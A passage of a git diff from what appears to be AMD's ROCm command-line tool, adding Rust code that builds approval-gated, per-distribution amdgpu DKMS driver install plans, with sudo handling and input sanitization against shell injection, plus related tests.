ScopedTestEnv::with_amd_overrides_cleared(); - // Oracle Linux reports `ID_LIKE=fedora` (not rhel) and boots UEK. An OL - // version outside the exact `ol` arm must NOT be captured by the EL - // fallback, which would emit non-UEK kernel commands that cannot install. - let os_release = r#" -ID=ol -VERSION_ID="9.6" -ID_LIKE=fedora -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(rendered.contains("unsupported_linux_dkms_plan")); - assert!(!rendered.contains("kernel-devel-matched")); - assert!(!rendered.contains("amdgpu-dkms")); + fn unsupported_test_plan() -> DriverInstallPlan { + invalid_driver_version_override_plan("x".to_owned()) } + /// The gate behind "installs nothing on Windows": approval does not make a + /// Windows plan execute, while the same flags do execute a supported, + /// mutating plan, so the assertion cannot pass by always returning false. #[test] - fn driver_plan_opensuse_leap_stays_unsupported() { + fn should_execute_never_runs_a_windows_plan() { let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // openSUSE Leap shares SLES's version scheme but has no SUSEConnect/SCC - // entitlement, so it must not be matched to the SLES plan. - let os_release = r#" -ID=opensuse-leap -VERSION_ID="15.7" -ID_LIKE="suse opensuse" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), + let windows = build_driver_install_plan_read( + &test_examine("windows", false), + &os_release_found(""), true, PrivilegeEscalation::Sudo, ); - let rendered = render_driver_install_plan(&plan, false, false); + assert!(!should_execute(&windows, true, false)); + assert!(!should_execute(&windows, false, false)); - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(rendered.contains("unsupported_linux_dkms_plan")); - assert!(!rendered.contains("SUSEConnect")); - assert!(!rendered.contains("amdgpu-dkms")); + let mut mutating = windows; + mutating.supported = true; + mutating.mutating = true; + assert!(should_execute(&mutating, true, false)); + assert!(!should_execute(&mutating, false, false)); + assert!(!should_execute(&mutating, true, true)); } } diff --git a/apps/rocm/src/driver_plan.rs b/apps/rocm/src/driver_plan.rs new file mode 100644 index 0000000000..32abf9dedb --- /dev/null +++ b/apps/rocm/src/driver_plan.rs @@ -0,0 +1,3289 @@ +// Copyright © Advanced Micro Devices, Inc., or its affiliates. +// +// SPDX-License-Identifier: MIT + +//! The `rocm install driver` plan: the model (`DriverInstallPlan`, its commands +//! and their phases, how a command reaches root), the text the plan is printed +//! as, the helpers every plan builder shares, and the builders themselves, which +//! turn the host's examine summary and os-release into a per-distro plan (apt, +//! dnf, zypper, or the WSL rocDXG plan in the child module `rocdxg`). +//! +//! Relocated from `driver_install.rs` with no behavior change; the moved +//! struct fields are `pub(crate)` because `driver_install.rs`, which runs the +//! plan and records its state, reads and builds them. +//! +//! Production code in this file uses only `std` and `rocm_core` (the child +//! module also reads `truthy_env` from `therock.rs`), and nothing in this module +//! or its tests depends on `driver_install.rs`. + +use std::fmt::Write as _; + +use rocm_core::ExamineSummary; +use rocm_core::placeholder::empty_as_unknown; + +mod rocdxg; + +pub(crate) use rocdxg::wsl_rocdxg_driver_plan; + +#[derive(Debug, Clone)] +pub(crate) struct DriverInstallPlan { + pub(crate) supported: bool, + pub(crate) mutating: bool, + pub(crate) policy: String, + pub(crate) os_id: String, + pub(crate) version_id: String, + pub(crate) codename: String, + pub(crate) repo_version_expr: String, + pub(crate) reason: String, + pub(crate) preflight_checks: Vec, + pub(crate) commands: Vec, + pub(crate) checks: Vec, + /// Whether the host must reboot before the verification steps mean anything. + /// + /// True for the kernel-module paths: an amdgpu DKMS build is not live until + /// the machine comes back up. False on WSL2, where nothing kernel-side + /// changes — ROCDXG is a userspace library and `ldconfig` publishes it + /// immediately, so telling the user to reboot would be wrong. + pub(crate) reboot_required: bool, +} + +impl DriverInstallPlan { + pub(crate) fn execution_commands(&self) -> Vec { + self.commands + .iter() + .filter(|command| { + matches!( + command.phase, + DriverCommandPhase::Prepare | DriverCommandPhase::Execute + ) + }) + .map(|command| command.command.clone()) + .collect() + } +} + +#[derive(Debug, Clone, Copy, Eq, PartialEq)] +pub(crate) enum DriverCommandPhase { + Prepare, + Execute, + Verify, +} + +#[derive(Debug, Clone)] +pub(crate) struct DriverPlanCommand { + pub(crate) phase: DriverCommandPhase, + pub(crate) command: String, +} + +/// How a generated driver command is expected to reach root. +/// +/// The driver plan is a list of shell lines, so escalation is a text prefix +/// rather than an argv decision (contrast `openmpi::InstallCommand`, whose +/// commands are argv vectors and can prepend `sudo` structurally). Prefixing +/// unconditionally is what made `install driver` unusable on the hosts it is +/// most needed on: containers and minimal cloud images run as uid 0 with no +/// `sudo` binary, so every command died with `sudo: not found` before any +/// driver work happened. +/// +/// This is resolved when the plan is BUILT, not when it runs, so that the plan +/// `--dry-run` prints, the plan the approval prompt shows, and the commands +/// persisted into `state.json` are all the commands that actually execute. +#[derive(Debug, Clone, Copy, Eq, PartialEq)] +pub(crate) enum PrivilegeEscalation { + /// Not root: privileged commands need a `sudo` prefix. + Sudo, + /// Already uid 0: `sudo` is unnecessary, and may not even be installed. + AlreadyRoot, +} + +impl PrivilegeEscalation { + /// Read the current process's privilege level. + /// + /// Only ever called on the production path; every plan builder takes the + /// escalation as a parameter so both branches are testable on any host. + pub(crate) fn detect() -> Self { + if rocm_core::openmpi::running_as_root() { + Self::AlreadyRoot + } else { + Self::Sudo + } + } + + /// The prefix to place before a command that must run as root — `"sudo "`, + /// or nothing at all when the process already is root. Includes the + /// trailing space so it composes directly into a command string. + const fn prefix(self) -> &'static str { + match self { + Self::Sudo => "sudo ", + Self::AlreadyRoot => "", + } + } + + /// Whether a plan built under this escalation depends on `sudo` being + /// installed. Drives the preflight list, so it does not claim a + /// precondition the plan is not relying on. + const fn needs_sudo_binary(self) -> bool { + matches!(self, Self::Sudo) + } +} + +/// Whether a string is safe to interpolate into the driver-install plan's +/// shell commands: these values (the `ROCM_CLI_AMDGPU_DRIVER_VERSION` +/// override, and `VERSION_ID`/`VERSION_CODENAME`/`UBUNTU_CODENAME` read from +/// `/etc/os-release`) end up both inside single-quoted `printf` arguments and, +/// for `VERSION_ID` in the SUSEConnect commands, directly unquoted on the +/// command line -- so only letters, digits, and `. _ -` are accepted, the +/// same charset a real amdgpu/distro version or codename is made of. +fn is_safe_shell_token(v: &str) -> bool { + !v.is_empty() + && v.chars() + .all(|c| c.is_ascii_alphanumeric() || "._-".contains(c)) +} + +/// Preconditions about reaching root for a driver plan. +/// +/// These differ by escalation: a plan that will prefix `sudo` additionally +/// depends on a `sudo` binary being installed, while a plan built as root does +/// not. Listing that precondition when already root would state a requirement +/// the plan is not relying on — which is exactly the contradiction that made +/// the unconditional prefix confusing to debug. +fn driver_root_preflight_checks(escalation: PrivilegeEscalation) -> Vec { + let mut checks = + vec!["root access: run as root, or ensure `sudo -v` succeeds before approval".to_owned()]; + if escalation.needs_sudo_binary() { + checks.push("`sudo` command is available when not running as root".to_owned()); + } + checks +} + +pub(crate) fn driver_command(phase: DriverCommandPhase, command: &str) -> DriverPlanCommand { + DriverPlanCommand { + phase, + command: command.to_owned(), + } +} + +/// Resolve a `${VAR:-default}` shell parameter-expansion template to its +/// effective value: the value of `VAR` when it is set and non-empty (matching +/// the shell `:-` semantics), otherwise the literal default. This is resolved +/// once at plan-build time so the concrete value is baked into both the +/// human-readable summary and the commands the plan runs, rather than leaking an +/// unexpanded `${...}` placeholder into user-facing output or depending on the +/// runtime shell — which, for the single-quoted WSL ROCDXG download command, would +/// never expand it at all. +/// +/// Only a single, flat `${VAR:-default}` template is recognized. Anything else — +/// a bare `${VAR}`, a `${VAR:=x}`/`${VAR-x}` form, or a nested default such as +/// `${A:-${B:-x}}` whose default itself contains `${` — is returned unchanged, so +/// an unresolvable shape degrades to its literal input rather than to a +/// half-resolved string. +fn resolve_shell_default_template(expr: &str) -> String { + let Some(inner) = expr.strip_prefix("${").and_then(|s| s.strip_suffix('}')) else { + return expr.to_owned(); + }; + let Some((var, default)) = inner.split_once(":-") else { + return expr.to_owned(); + }; + if default.contains("${") { + // Nested or embedded templates are beyond this flat matcher; return the + // input untouched rather than emitting a partially resolved string. + return expr.to_owned(); + } + std::env::var(var) + .ok() + .filter(|value| !value.is_empty()) + .unwrap_or_else(|| default.to_owned()) +} + +pub(crate) fn render_driver_install_plan( + plan: &DriverInstallPlan, + yes: bool, + dry_run: bool, +) -> String { + let mut output = String::new(); + let _ = writeln!(output, "driver install plan"); + let _ = writeln!(output, " policy: {}", plan.policy); + let _ = writeln!(output, " supported: {}", plan.supported); + let _ = writeln!(output, " mutating: {}", plan.mutating); + let _ = writeln!( + output, + " approval: {}", + driver_plan_approval_label(plan, yes, dry_run) + ); + let _ = writeln!(output, " dry_run: {dry_run}"); + let _ = writeln!(output, " os_id: {}", empty_as_unknown(&plan.os_id)); + let _ = writeln!( + output, + " version_id: {}", + empty_as_unknown(&plan.version_id) + ); + let _ = writeln!(output, " codename: {}", empty_as_unknown(&plan.codename)); + let _ = writeln!(output, " repo_version: {}", plan.repo_version_expr); + let _ = writeln!(output, " reason: {}", plan.reason); + if !plan.preflight_checks.is_empty() { + let _ = writeln!(output, " preflight_checks:"); + for check in &plan.preflight_checks { + let _ = writeln!(output, " {check}"); + } + } + let execution_commands = plan + .commands + .iter() + .filter(|command| { + matches!( + command.phase, + DriverCommandPhase::Prepare | DriverCommandPhase::Execute + ) + }) + .collect::>(); + if execution_commands.is_empty() { + let _ = writeln!(output, " execution_commands: "); + } else { + let _ = writeln!(output, " execution_commands:"); + for command in execution_commands { + let _ = writeln!(output, " {:?}: {}", command.phase, command.command); + } + } + let verification_commands = plan + .commands + .iter() + .filter(|command| command.phase == DriverCommandPhase::Verify) + .collect::>(); + // A plan that changes nothing kernel-side is live as soon as it finishes, so + // labelling its checks "post_reboot" would tell the user to reboot for + // nothing — and would contradict the `reboot_required: false` this same plan + // reports after executing. + let checks_label = if plan.reboot_required { + "post_reboot" + } else { + "post_install" + }; + if !verification_commands.is_empty() { + let _ = writeln!(output, " {checks_label}_check_commands:"); + for command in verification_commands { + let _ = writeln!(output, " {}", command.command); + } + } + if !plan.checks.is_empty() { + let _ = writeln!(output, " {checks_label}_checks:"); + for check in &plan.checks { + let _ = writeln!(output, " {check}"); + } + } + if plan.supported && plan.mutating && !yes && !dry_run { + let _ = writeln!( + output, + " action: rerun with --yes after reviewing this plan, or approve from the TUI" + ); + } else if plan.supported && plan.mutating && dry_run { + let _ = writeln!( + output, + " action: dry run only; no driver commands executed" + ); + } else if plan.supported && !plan.mutating { + let _ = writeln!( + output, + " action: no driver commands will be executed; add --dkms to plan a native DKMS driver install" + ); + } else if !plan.supported { + let _ = writeln!(output, " action: no driver commands will be executed"); + } + output +} + +const fn driver_plan_approval_label( + plan: &DriverInstallPlan, + yes: bool, + dry_run: bool, +) -> &'static str { + if !plan.supported || !plan.mutating || dry_run { + "not required" + } else if yes { + "approved" + } else { + "required" + } +} + +/// Whether `rocm install driver` only reports on this OS. True on native +/// Windows, where the plan is `windows_validate_only` and runs nothing; the +/// chat and freeform planners derive their wording and flags from this too. +pub(crate) fn install_driver_only_reports_on(os: &str) -> bool { + os == "windows" +} + +/// [`install_driver_only_reports_on`] for the OS this binary runs on. +pub(crate) fn host_install_driver_only_reports() -> bool { + install_driver_only_reports_on(std::env::consts::OS) +} + +/// The plan for a release file that cannot be read as a distro at all — a +/// malformed line ([`build_driver_install_plan_at`]'s own early return) or a +/// file that exists but could not be read +/// ([`build_driver_install_plan_read`]'s `Unreadable` branch). Both name +/// `reason`, never a distro, and differ only in it: shared here, including +/// `repo_version_expr`, so a new early branch added to one is not silently +/// absent from the other. +fn unreadable_os_release_plan(reason: String, repo_version_expr: String) -> DriverInstallPlan { + DriverInstallPlan { + supported: false, + mutating: false, + policy: "unreadable_os_release".to_owned(), + os_id: String::new(), + version_id: String::new(), + codename: String::new(), + repo_version_expr, + reason, + preflight_checks: Vec::new(), + commands: Vec::new(), + checks: vec!["rocm examine".to_owned()], + reboot_required: false, + } +} + +const RETIRED_DRIVER_VERSION_VARS: [&str; 2] = + ["ROCM_CLI_AMDGPU_VERSION", "ROCM_CLI_AMDGPU_PACKAGE_RELEASE"]; + +/// The refusal plan `resolve_repo_version_expr` returns for any +/// `ROCM_CLI_AMDGPU_DRIVER_VERSION` value that cannot be safely interpolated +/// into a shell command -- whether it failed [`is_safe_shell_token`] or could +/// not even be decoded as UTF-8. +pub(crate) fn invalid_driver_version_override_plan(value_debug: String) -> DriverInstallPlan { + DriverInstallPlan { + supported: false, + mutating: false, + policy: "invalid_driver_version_override".to_owned(), + os_id: String::new(), + version_id: String::new(), + codename: String::new(), + repo_version_expr: value_debug, + reason: "ROCM_CLI_AMDGPU_DRIVER_VERSION is not a well-formed amdgpu driver release. It is interpolated into privileged shell commands, so only letters, digits, and `. _ -` are accepted.".to_owned(), + preflight_checks: Vec::new(), + commands: Vec::new(), + checks: vec!["rocm examine".to_owned()], + reboot_required: false, + } +} + +/// Resolves and validates `ROCM_CLI_AMDGPU_DRIVER_VERSION`, shared between +/// [`build_driver_install_plan_at`] (reached whenever the os-release text +/// itself was readable) and [`build_driver_install_plan_read`]'s `Unreadable` +/// branch (reached before `_at` is even called), so both report the same +/// `invalid_driver_version_override` plan on a malformed override rather than +/// one of them silently falling back to `latest`. +fn resolve_repo_version_expr() -> Result> { + // The pre-`latest` pin variables are no longer read; refuse rather than + // install a floating `latest` for a user who still exports one. + for retired in RETIRED_DRIVER_VERSION_VARS { + if std::env::var_os(retired).is_some_and(|v| !v.is_empty()) { + let mut plan = invalid_driver_version_override_plan(format!("{retired} is set")); + plan.policy = "retired_driver_version_override".to_owned(); + plan.reason = format!( + "{retired} is no longer read; unset it, and set ROCM_CLI_AMDGPU_DRIVER_VERSION to pin an amdgpu driver release." + ); + return Err(Box::new(plan)); + } + } + // Resolved here rather than left as a shell `${VAR:-default}` expression: + // these commands are built with `printf '%s\n' '...'` (single-quoted) so the + // written repo file has a working baseurl regardless of shell. The value is + // interpolated straight into that single-quoted command, so it's restricted + // to a safe URL path segment here rather than trusted verbatim: a value + // containing `'` would otherwise close the quoting and inject shell. An + // invalid override is refused rather than silently falling back to + // `latest`, the same way `wsl_rocdxg_driver_plan` refuses a malformed + // `ROCM_CLI_ROCDXG_VERSION` -- a user who set this expecting a specific + // release should see why it did not take effect, not an unexplained + // `latest`. + match std::env::var("ROCM_CLI_AMDGPU_DRIVER_VERSION") { + // Set-but-empty is treated the same as unset, matching every other + // optional override of the driver plan (`resolve_rocdxg_verification`, + // `resolve_shell_default_template`): a blank env var is how an env + // file clears an override, not a request to refuse the plan. + Err(std::env::VarError::NotPresent) => Ok("latest".to_owned()), + Ok(v) if v.is_empty() => Ok("latest".to_owned()), + Ok(v) if is_safe_shell_token(&v) => Ok(v), + Ok(v) => Err(Box::new(invalid_driver_version_override_plan(format!( + "{v:?}" + )))), + // A non-UTF-8 value can never pass `is_safe_shell_token` anyway, but + // routing it through the same refusal as a malformed value (instead + // of folding it into the NotPresent/empty "unset" case) keeps the + // same "refuse, don't silently fall back to latest" guarantee for a + // user who set this to something `env::var` cannot even decode. + Err(std::env::VarError::NotUnicode(v)) => { + // Debug, not `v.display()`, is deliberate here: this is the one + // value worth escaping rather than rendering lossily, since the + // whole reason it reached this arm is that it isn't valid UTF-8. + #[allow(clippy::unnecessary_debug_formatting)] + let value_debug = format!("{v:?}"); + Err(Box::new(invalid_driver_version_override_plan(value_debug))) + } + } +} + +/// [`build_driver_install_plan_read`], naming `os_release_path` instead of always +/// `/etc/os-release` in an unreadable-line message. +fn build_driver_install_plan_at( + examine: &ExamineSummary, + os_release_path: &str, + os_release_text: &str, + dkms: bool, + escalation: PrivilegeEscalation, +) -> DriverInstallPlan { + if install_driver_only_reports_on(&examine.os) { + return DriverInstallPlan { + supported: false, + mutating: false, + policy: "windows_validate_only".to_owned(), + os_id: "windows".to_owned(), + version_id: String::new(), + codename: String::new(), + // Not interpolated into any command on this no-op plan (there are + // none), so an override is not validated before this early return. + // Always "latest" even if `ROCM_CLI_AMDGPU_DRIVER_VERSION` names + // something else or is malformed: unlike the Linux arms below, + // this value has not gone through `resolve_repo_version_expr()`, + // so do not read the printed `repo_version:` line here (or in + // `--dry-run` output) as confirmation that an override was seen or + // accepted. + repo_version_expr: "latest".to_owned(), + // Uses the same inventory and adapter choice as `rocm examine` + // and `rocm diagnose`. Separate probes can still fail independently. + reason: rocm_core::windows_driver::install_driver_summary( + examine.driver.windows.as_ref(), + ), + preflight_checks: Vec::new(), + commands: Vec::new(), + checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], + // The plan installs nothing, so nothing asks for a reboot. + reboot_required: false, + }; + } + if examine.wsl.as_ref().is_some_and(|wsl| wsl.is_wsl) { + return wsl_rocdxg_driver_plan(escalation); + } + + let repo_version_expr = match resolve_repo_version_expr() { + Ok(v) => v, + Err(plan) => return *plan, + }; + + // An unreadable file is reported as itself, naming the line, rather than + // falling through to "this distro is not supported" — which would send the + // user looking for a support matrix when the fix is one line of a file. + let os_release = match rocm_core::os_release::parse(os_release_text) { + Ok(fields) => fields, + Err(unreadable) => { + return unreadable_os_release_plan( + format!( + "{os_release_path} {unreadable}; no driver commands were planned \ + because the distro cannot be read. To fix it, {}.", + unreadable.fix() + ), + repo_version_expr, + ); + } + }; + + let field = |key: &str| os_release.get(key).cloned(); + // Not interpolated into any shell command today (only matched against and + // stored on the plan), but it goes through the same allow-list as + // `version_id`/`codename`/the env override anyway: centralizing the + // sanitization here means a future `os_id`-based repo path can't + // reintroduce the shell-injection class those fields close. An invalid + // value is treated as absent, falling through to the "unsupported" plan + // the same way the other fields do. + // Lowercased, as `rocm-core`'s `dkms_driver_plan_is_supported` does, so the + // two copies of the support matrix agree on `ID=Ubuntu`. + let os_id = field("ID") + .filter(|v| is_safe_shell_token(v)) + .unwrap_or_default() + .to_ascii_lowercase(); + // `version_id` is interpolated unsanitized both into the same + // single-quoted `printf '...' | tee` commands as `repo_version_expr` + // above and, on SLES, directly unquoted on the SUSEConnect command line -- + // so it gets the same char allow-list as that override. A value that + // fails it is treated as absent (empty), which cannot match any + // `(os_id, version_id)` arm below and falls through to the safe, + // non-mutating "unsupported" plan, the same way a hostile codename falls + // through to the static mapping rather than being used verbatim. + let version_id = field("VERSION_ID") + .filter(|v| is_safe_shell_token(v)) + .unwrap_or_default(); + // `codename` is interpolated unsanitized into the same single-quoted + // `printf '...' | tee` command as `repo_version_expr` above, so an + // os-release-sourced value gets the same char allow-list: a crafted + // VERSION_CODENAME/UBUNTU_CODENAME (compromised or custom base image) + // could otherwise break out of the quoting and inject shell. An invalid + // value is treated as absent, falling through to the trusted static + // `codename_for_version` mapping rather than being used verbatim. + let codename = field("VERSION_CODENAME") + .or_else(|| field("UBUNTU_CODENAME")) + .filter(|v| is_safe_shell_token(v)) + .or_else(|| codename_for_version(&os_id, &version_id).map(str::to_owned)) + .unwrap_or_default(); + let id_like = field("ID_LIKE").unwrap_or_default(); + + match (os_id.as_str(), version_id.as_str()) { + ("ubuntu", "22.04" | "24.04" | "26.04") => apt_driver_plan( + os_id, + version_id, + codename, + repo_version_expr, + dkms, + true, + escalation, + ), + ("debian", "12" | "13") => { + let repo_codename = if version_id == "13" { "noble" } else { "jammy" }; + let mut plan = apt_driver_plan( + os_id, + version_id, + repo_codename.to_owned(), + repo_version_expr, + dkms, + false, + escalation, + ); + // Debian deliberately reuses AMD's Ubuntu-suite repository: AMD's + // documented Debian install maps Debian 12 -> jammy and 13 -> noble + // and serves them from the .../ubuntu amdgpu tree. Surface that in + // the plan so the Ubuntu codename on a Debian host doesn't read as a + // misdetection. + plan.reason = format!( + "Debian intentionally uses AMD's Ubuntu-suite repository (codename {repo_codename}), per AMD's documented Debian install; the Ubuntu codename is deliberate, not a misdetection. {}", + plan.reason + ); + plan + } + ("rhel", "10.1" | "10.0" | "9.7" | "9.6" | "9.4" | "8.10") => dnf_driver_plan( + os_id, + version_id, + codename, + repo_version_expr, + dkms, + DnfDriverDistro::Rhel, + escalation, + ), + ("ol", "10.1" | "9.7" | "8.10") => dnf_driver_plan( + os_id, + version_id, + codename, + repo_version_expr, + dkms, + DnfDriverDistro::Oracle, + escalation, + ), + ("rocky", "9.4" | "9.6" | "9.7") => dnf_driver_plan( + os_id, + version_id, + codename, + repo_version_expr, + dkms, + DnfDriverDistro::Rocky, + escalation, + ), + ("sles" | "sle", "15.7") => { + sles_driver_plan(os_id, version_id, codename, repo_version_expr, dkms, escalation) + } + _ => driver_plan_via_id_like( + &os_id, + &version_id, + &id_like, + &codename, + &repo_version_expr, + dkms, + escalation, + ) + .unwrap_or_else(|| DriverInstallPlan { + supported: false, + mutating: false, + policy: "unsupported_linux_dkms_plan".to_owned(), + os_id, + version_id, + codename, + repo_version_expr, + reason: "Linux DKMS driver install is currently planned only for AMD-documented Ubuntu, Debian, RHEL, Oracle Linux, SLES, and Rocky versions; no commands were guessed for this distro.".to_owned(), + preflight_checks: Vec::new(), + commands: Vec::new(), + checks: vec!["rocm examine".to_owned()], + // Kernel module: not live until the machine comes back up. + reboot_required: true, + }), + } +} + +/// [`build_driver_install_plan_at`] for `read`, naming the file actually read +/// in an unreadable-line message, and reporting a file that exists but could +/// not be read as itself rather than as an unknown distribution. +/// +/// Without the latter, a host whose `/etc/os-release` is merely unreadable +/// (permission denied, a directory in its place) would plan nothing and say +/// "no commands were guessed for this distro" — the same message an actually +/// unsupported distribution gets — sending the user looking for a support +/// gap instead of a filesystem problem. The Windows and WSL branches never +/// reach the os-release parse at all, so they are unaffected either way and +/// are left to the normal call below. +pub(crate) fn build_driver_install_plan_read( + examine: &ExamineSummary, + read: &rocm_core::hardware_root::OsRelease, + dkms: bool, + escalation: PrivilegeEscalation, +) -> DriverInstallPlan { + let reaches_os_release_parse = + examine.os != "windows" && !examine.wsl.as_ref().is_some_and(|wsl| wsl.is_wsl); + if reaches_os_release_parse + && let rocm_core::hardware_root::OsRelease::Unreadable { path, error } = read + { + let repo_version_expr = match resolve_repo_version_expr() { + Ok(v) => v, + Err(plan) => return *plan, + }; + return unreadable_os_release_plan( + format!( + "{}; no driver commands were planned because the distro cannot be read.", + rocm_core::hardware_root::unreadable_prefix(path, error) + ), + repo_version_expr, + ); + } + build_driver_install_plan_at(examine, read.path(), read.text(), dkms, escalation) +} + +/// Select a driver install plan for a distro whose `/etc/os-release` `ID` is not +/// an AMD-documented distro, by falling back to its `ID_LIKE` base family. +/// +/// This mirrors the family resolution already used by the OpenMPI and system +/// dependency install plans in [`rocm_core::openmpi`], which honor `ID_LIKE`. A +/// derivative is matched only when its `VERSION_ID` aligns with an AMD-documented +/// version of the base family, so version-misaligned derivatives still fall +/// through to the unsupported plan rather than fabricating a repository URL that +/// would 404. +// Every parameter is one already-resolved fact the plan is templated from; +// bundling them into a struct would only move the same list one level out. +#[allow(clippy::too_many_arguments)] +fn driver_plan_via_id_like( + os_id: &str, + version_id: &str, + id_like: &str, + codename: &str, + repo_version_expr: &str, + dkms: bool, + escalation: PrivilegeEscalation, +) -> Option { + let likes: Vec = id_like + .split_whitespace() + .map(str::to_ascii_lowercase) + .collect(); + let mentions = |family: &str| likes.iter().any(|like| like == family); + + // Ubuntu-family derivatives that reuse Ubuntu's VERSION_ID (e.g. Pop!_OS) + // also reuse its repositories; the amdgpu apt line always targets the + // `ubuntu/` repo, so the plan is identical to the Ubuntu base. + // Derivatives with their own version scheme (e.g. Linux Mint's "22") do not + // match here and remain unsupported rather than guessing a codename. + if mentions("ubuntu") && matches!(version_id, "22.04" | "24.04" | "26.04") { + let codename = if codename.is_empty() { + codename_for_version("ubuntu", version_id) + .unwrap_or_default() + .to_owned() + } else { + codename.to_owned() + }; + return Some(apt_driver_plan( + os_id.to_owned(), + version_id.to_owned(), + codename, + repo_version_expr.to_owned(), + dkms, + true, + escalation, + )); + } + + // Debian-family derivatives that share Debian's version scheme map to the + // matching Ubuntu repo codename, exactly like the Debian base. + if mentions("debian") && matches!(version_id, "12" | "13") { + let repo_codename = if version_id == "13" { "noble" } else { "jammy" }; + return Some(apt_driver_plan( + os_id.to_owned(), + version_id.to_owned(), + repo_codename.to_owned(), + repo_version_expr.to_owned(), + dkms, + false, + escalation, + )); + } + + // Enterprise-Linux rebuilds (e.g. AlmaLinux) reuse RHEL's version scheme and + // standard (RHCK, non-UEK) kernels, but are served from the vendor-neutral + // `el/` repository path rather than `rhel/`. Gate strictly on `ID_LIKE` + // naming `rhel`: Oracle Linux advertises only `ID_LIKE=fedora` and boots the + // UEK kernel, so it must keep its dedicated `("ol", ...)` flow and never be + // captured here with RHCK kernel commands that would fail to install. Guard + // the `ol`/`oracle` IDs explicitly as well, in case a future OL release adds + // `rhel` to `ID_LIKE`. + if mentions("rhel") && !matches!(os_id, "ol" | "oracle") && is_supported_el_version(version_id) + { + return Some(dnf_driver_plan( + os_id.to_owned(), + version_id.to_owned(), + codename.to_owned(), + repo_version_expr.to_owned(), + dkms, + DnfDriverDistro::Generic, + escalation, + )); + } + + // No SUSE-family fallback: SLES is matched exactly, and community rebuilds + // such as openSUSE Leap share the SLES version scheme but lack SUSEConnect + // entitlements, so the SLES plan's `SUSEConnect` commands would fail. They + // intentionally remain unsupported rather than producing a broken plan. + + None +} + +/// The set of Enterprise-Linux versions AMD documents for the driver install, +/// used to gate `ID_LIKE`-based matching of RHEL rebuilds. +fn is_supported_el_version(version_id: &str) -> bool { + matches!(version_id, "10.1" | "10.0" | "9.7" | "9.6" | "9.4" | "8.10") +} + +#[derive(Debug, Clone, Copy)] +enum DnfDriverDistro { + Rhel, + Oracle, + Rocky, + /// A RHEL rebuild matched via `ID_LIKE` (e.g. AlmaLinux, CentOS Stream): + /// standard RHEL kernels, served from the vendor-neutral `el/` repo path. + Generic, +} + +fn apt_driver_plan( + os_id: String, + version_id: String, + codename: String, + repo_version_expr: String, + dkms: bool, + include_linux_modules_extra: bool, + escalation: PrivilegeEscalation, +) -> DriverInstallPlan { + // Empty when already root, so no command depends on a `sudo` binary that a + // container or minimal image very likely does not have. + let sudo = escalation.prefix(); + let mut commands = Vec::new(); + if dkms { + // AMD's page says to remove an AMDGPU driver from a previous + // installation first. Removal is destructive, so the plan only + // detects and warns; the user decides. + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!( + "if dpkg-query -W -f='${{Status}}' amdgpu-dkms 2>/dev/null | grep -q 'install ok installed'; then echo 'warning: amdgpu-dkms from a previous installation is installed and was not removed. AMD advises removing it first (`{sudo}apt-get autoremove -y amdgpu-dkms`); continuing anyway. If the install fails, remove it and re-run.'; fi" + ), + )); + commands.extend([ + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}apt-get update"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}apt-get install -y ca-certificates curl gnupg"), + ), + ]); + let header_command = if include_linux_modules_extra { + format!( + "{sudo}apt-get install -y \"linux-headers-$(uname -r)\" \"linux-modules-extra-$(uname -r)\"" + ) + } else { + format!("{sudo}apt-get install -y \"linux-headers-$(uname -r)\"") + }; + commands.push(driver_command(DriverCommandPhase::Prepare, &header_command)); + commands.extend([ + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}install -m 0755 -d /etc/apt/keyrings"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!( + "curl -fsSL https://repo.radeon.com/rocm/rocm.gpg.key | {sudo}gpg --batch --yes --dearmor -o /etc/apt/keyrings/rocm.gpg" + ), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!( + "printf '%s\\n' 'deb [arch=amd64 signed-by=/etc/apt/keyrings/rocm.gpg] https://repo.radeon.com/amdgpu/{repo_version_expr}/ubuntu {codename} main' | {sudo}tee /etc/apt/sources.list.d/amdgpu.list >/dev/null" + ), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!( + "printf '%s\\n' 'Package: *' 'Pin: release o=repo.radeon.com' 'Pin-Priority: 600' | {sudo}tee /etc/apt/preferences.d/rocm-pin-600 >/dev/null" + ), + ), + driver_command(DriverCommandPhase::Prepare, &format!("{sudo}apt-get update")), + ]); + commands.push(driver_command( + DriverCommandPhase::Execute, + &format!("{sudo}apt-get install -y amdgpu-dkms"), + )); + commands.extend([ + driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), + driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), + driver_command( + DriverCommandPhase::Verify, + "ls /dev/dri/renderD* >/dev/null", + ), + ]); + } + + DriverInstallPlan { + supported: true, + mutating: dkms, + policy: "linux_official_amd_dkms_wrapper".to_owned(), + os_id, + version_id, + codename, + repo_version_expr, + reason: if dkms { + "Plan uses AMD's package-manager DKMS flow and requires explicit approval before execution. If amdgpu-dkms from a previous installation is present, the first command only warns; the install continues and nothing is removed automatically." + } else { + "DKMS was not requested; this is a non-mutating preflight plan." + } + .to_owned(), + preflight_checks: if dkms { + let mut checks = driver_root_preflight_checks(escalation); + checks.push("`apt-get` package manager is available".to_owned()); + checks + } else { + Vec::new() + }, + commands, + checks: vec![ + "dkms status amdgpu".to_owned(), + "/sys/module/amdgpu".to_owned(), + "/dev/kfd".to_owned(), + "/dev/dri/renderD*".to_owned(), + "amd-smi version if present".to_owned(), + "rocminfo if present".to_owned(), + ], + // Kernel module: not live until the machine comes back up. + reboot_required: true, + } +} + +// Same shape as the other distro plan builders: a flat list of resolved facts +// the command templates read, one of which is now the escalation prefix. +#[allow(clippy::too_many_arguments)] +fn dnf_driver_plan( + os_id: String, + version_id: String, + codename: String, + repo_version_expr: String, + dkms: bool, + distro: DnfDriverDistro, + escalation: PrivilegeEscalation, +) -> DriverInstallPlan { + // Empty when already root, so no command depends on a `sudo` binary that a + // container or minimal image very likely does not have. + 